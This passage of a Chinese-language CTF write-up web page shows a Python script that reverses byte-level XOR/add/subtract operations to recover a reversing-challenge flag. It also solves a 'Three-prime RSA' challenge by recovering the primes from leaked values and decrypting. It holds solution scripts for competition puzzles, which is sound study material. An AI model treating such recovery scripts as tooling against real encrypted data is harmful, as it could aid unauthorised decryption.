</span></span><span class="line"><span class="ln">307</span><span class="cl">  977075 ^= 0xD1u;
</span></span><span class="line"><span class="ln">308</span><span class="cl">  97705D ^= 0x1Bu;
</span></span><span class="line"><span class="ln">309</span><span class="cl">  977052 -= 74;
</span></span><span class="line"><span class="ln">310</span><span class="cl">  97707B -= 104;
</span></span><span class="line"><span class="ln">311</span><span class="cl">  977073 -= 6;
</span></span><span class="line"><span class="ln">312</span><span class="cl">  977053 -= 120;
</span></span><span class="line"><span class="ln">313</span><span class="cl">  977043 -= 6;
</span></span><span class="line"><span class="ln">314</span><span class="cl">  977069 -= 2;
</span></span><span class="line"><span class="ln">315</span><span class="cl">  97705E ^= 0xFEu;
</span></span><span class="line"><span class="ln">316</span><span class="cl">  97707E ^= 0x45u;
</span></span><span class="line"><span class="ln">317</span><span class="cl">  977052 += 5;
</span></span><span class="line"><span class="ln">318</span><span class="cl">  977068 ^= 0x36u;
</span></span><span class="line"><span class="ln">319</span><span class="cl">  977051 -= 42;
</span></span><span class="line"><span class="ln">320</span><span class="cl">  977050 ^= 0xD6u;</span></span></code></pre><div class="title text-sm text-muted-foreground px-3 py-1 rounded-lg border">1.txt</div><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">txt</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<hr>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="nv">d</span><span class="o">=</span>open<span class="o">(</span><span class="s1">&#39;1.txt&#39;</span><span class="o">)</span>.read<span class="o">()</span>.splitlines<span class="o">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nv">data</span><span class="o">=[</span> 0x7F, 0x11, 0x4A, 0x9D, 0xA5, 0xD5, 0x99, 0x9F, 0xAC, 0xD3, 
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  0xD4, 0xBC, 0x1A, 0x53, 0x46, 0xF4, 0xE7, 0x37, 0x03, 0x60, 
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">  0x17, 0xBA, 0x67, 0xAC, 0x09, 0xDA, 0xA0, 0xFB, 0x2D, 0x8E, 
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">  0xCB, 0x11, 0x02, 0xC4, 0x17, 0xF7, 0x1B, 0x8F, 0x67, 0x52<span class="o">]</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="nv">e</span><span class="o">={}</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="nv">base</span><span class="o">=</span>0x977040
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">def parse_int<span class="o">(</span>s<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="k">if</span> <span class="s1">&#39;0x&#39;</span> in s:
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="k">return</span> int<span class="o">(</span>s,16<span class="o">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="k">else</span>:
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="k">return</span> int<span class="o">(</span>s<span class="o">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">for</span> i in d:
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="nv">i</span><span class="o">=</span>i.strip<span class="o">()</span>.strip<span class="o">(</span><span class="s1">&#39;;&#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="k">if</span> <span class="s1">&#39;-&#39;</span> in i:
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="k">if</span> <span class="o">(</span><span class="s1">&#39;--&#39;</span> in i<span class="o">)</span>:
</span></span><span class="line"><span class="ln">18</span><span class="cl">      <span class="nv">value</span><span class="o">=</span><span class="m">1</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">      <span class="nv">addr</span><span class="o">=</span>int<span class="o">(</span>i.strip<span class="o">(</span><span class="s1">&#39;-&#39;</span><span class="o">)</span>,16<span class="o">)</span>-base
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">else</span>:
</span></span><span class="line"><span class="ln">21</span><span class="cl">      <span class="nv">value</span><span class="o">=</span>parse_int<span class="o">(</span>i.split<span class="o">(</span><span class="s1">&#39;-=&#39;</span><span class="o">)[</span>1<span class="o">]</span>.strip<span class="o">(</span><span class="s1">&#39;;u&#39;</span><span class="o">))</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">      <span class="nv">addr</span><span class="o">=</span>int<span class="o">(</span>i.split<span class="o">()[</span>0<span class="o">]</span>,16<span class="o">)</span>-base
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="nv">state</span><span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">  <span class="k">elif</span> <span class="s1">&#39;^&#39;</span> in i:
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="nv">value</span><span class="o">=</span>parse_int<span class="o">(</span>i.split<span class="o">(</span><span class="s1">&#39;^=&#39;</span><span class="o">)[</span>1<span class="o">]</span>.strip<span class="o">(</span><span class="s1">&#39;;u&#39;</span><span class="o">))</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="nv">addr</span><span class="o">=</span>int<span class="o">(</span>i.split<span class="o">()[</span>0<span class="o">]</span>,16<span class="o">)</span>-base
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="nv">state</span><span class="o">=</span><span class="m">1</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">  <span class="k">elif</span> <span class="s1">&#39;+&#39;</span> in i:
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="k">if</span> <span class="o">(</span><span class="s1">&#39;++&#39;</span> in i<span class="o">)</span>:
</span></span><span class="line"><span class="ln">30</span><span class="cl">      <span class="nv">value</span><span class="o">=</span><span class="m">1</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">      <span class="nv">addr</span><span class="o">=</span>int<span class="o">(</span>i.strip<span class="o">(</span><span class="s1">&#39;+&#39;</span><span class="o">)</span>,16<span class="o">)</span>-base
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">else</span>:
</span></span><span class="line"><span class="ln">33</span><span class="cl">      <span class="nv">value</span><span class="o">=</span>parse_int<span class="o">(</span>i.split<span class="o">(</span><span class="s1">&#39;+=&#39;</span><span class="o">)[</span>1<span class="o">]</span>.strip<span class="o">(</span><span class="s1">&#39;;u&#39;</span><span class="o">))</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">      <span class="nv">addr</span><span class="o">=</span>int<span class="o">(</span>i.split<span class="o">()[</span>0<span class="o">]</span>,16<span class="o">)</span>-base
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="nv">state</span><span class="o">=</span><span class="m">2</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">  <span class="k">else</span>:
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="k">continue</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">  <span class="k">if</span> <span class="o">(</span>e.get<span class="o">(</span>addr<span class="o">)==</span>None<span class="o">)</span>:
</span></span><span class="line"><span class="ln">39</span><span class="cl">    e<span class="o">[</span>addr<span class="o">]=[]</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">  e<span class="o">[</span>addr<span class="o">]</span>.append<span class="o">((</span>state,value<span class="o">))</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl">print<span class="o">(</span>e<span class="o">[</span>0<span class="o">])</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="k">for</span> i in e:
</span></span><span class="line"><span class="ln">44</span><span class="cl">  <span class="k">if</span> i&gt;<span class="o">=</span>len<span class="o">(</span>data<span class="o">)</span>:
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="k">continue</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">  <span class="k">for</span> state,value in e<span class="o">[</span>i<span class="o">][</span>::-1<span class="o">]</span>:
</span></span><span class="line"><span class="ln">47</span><span class="cl">    <span class="c1"># print(state,value)</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">    <span class="k">if</span> <span class="nv">state</span><span class="o">==</span>0:
</span></span><span class="line"><span class="ln">49</span><span class="cl">      data<span class="o">[</span>i<span class="o">]</span>+<span class="o">=</span>value
</span></span><span class="line"><span class="ln">50</span><span class="cl">    <span class="k">elif</span> <span class="nv">state</span><span class="o">==</span>1:
</span></span><span class="line"><span class="ln">51</span><span class="cl">      data<span class="o">[</span>i<span class="o">]</span>^<span class="o">=</span>value
</span></span><span class="line"><span class="ln">52</span><span class="cl">    <span class="k">elif</span> <span class="nv">state</span><span class="o">==</span>2:
</span></span><span class="line"><span class="ln">53</span><span class="cl">      data<span class="o">[</span>i<span class="o">]</span>-<span class="o">=</span>value
</span></span><span class="line"><span class="ln">54</span><span class="cl">    data<span class="o">[</span>i<span class="o">]=</span>data<span class="o">[</span>i<span class="o">]</span><span class="p">&amp;</span>0xff
</span></span><span class="line"><span class="ln">55</span><span class="cl">print<span class="o">(</span>bytes<span class="o">(</span>data<span class="o">))</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">shell</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h2 id="crypto">CRYPTO<a class="anchor" href="#crypto">#</a></h2>
<h3 id="three-prime-rsa">Three-prime RSA<a class="anchor" href="#three-prime-rsa">#</a></h3>
<p><a
  href="https://chatgpt.com/share/68a14d43-ab10-800b-bbee-7e4511dfaaea" rel="nofollow noopener noreferrer" target="_blank"
  >https://chatgpt.com/share/68a14d43-ab10-800b-bbee-7e4511dfaaea<span style="user-select:none"> ↗</span></a
>
</p>
<p>AI太猛了</p>
<p>从 r_cubed 恢复 r</p>
<p><code>r = int(round(r_cubed ** (1/3)))</code></p>
<p>从 D 中恢复 (p+q+r) 和 random_num
题目中 <code>random_num</code> 是一个 28 位质数，<code>p+q+r</code> 大约 512~514 位。因为 <code>(p+q+r)*random_num &lt; n</code>，所以 <code>D</code> 没有取模的影响：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">random_num</span> <span class="o">=</span> <span class="mi">254766409</span>  <span class="c1"># 可通过简单分解D得到</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">D</span> <span class="o">//</span> <span class="n">random_num</span>     <span class="c1"># 得到 s = p + q + r</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>求p+q</p>
<p><code>p_plus_q = s - r</code></p>
<p>解一元二次方程得到 p 和 q
方程：<code>x^2 - (p+q)x + p*q = 0</code></p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">sympy</span> <span class="kn">import</span> <span class="n">symbols</span><span class="p">,</span> <span class="n">solve</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">x</span> <span class="o">=</span> <span class="n">symbols</span><span class="p">(</span><span class="s1">&#39;x&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">sols</span> <span class="o">=</span> <span class="n">solve</span><span class="p">(</span><span class="n">x</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="n">p_plus_q</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">pq</span><span class="p">,</span> <span class="n">x</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">p</span><span class="p">,</span> <span class="n">q</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">sols</span><span class="p">[</span><span class="mi">0</span><span class="p">]),</span> <span class="nb">int</span><span class="p">(</span><span class="n">sols</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">py</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>计算 d 并解密</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">inverse</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">d</span> <span class="o">=</span> <span class="n">inverse</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">r</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">py</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
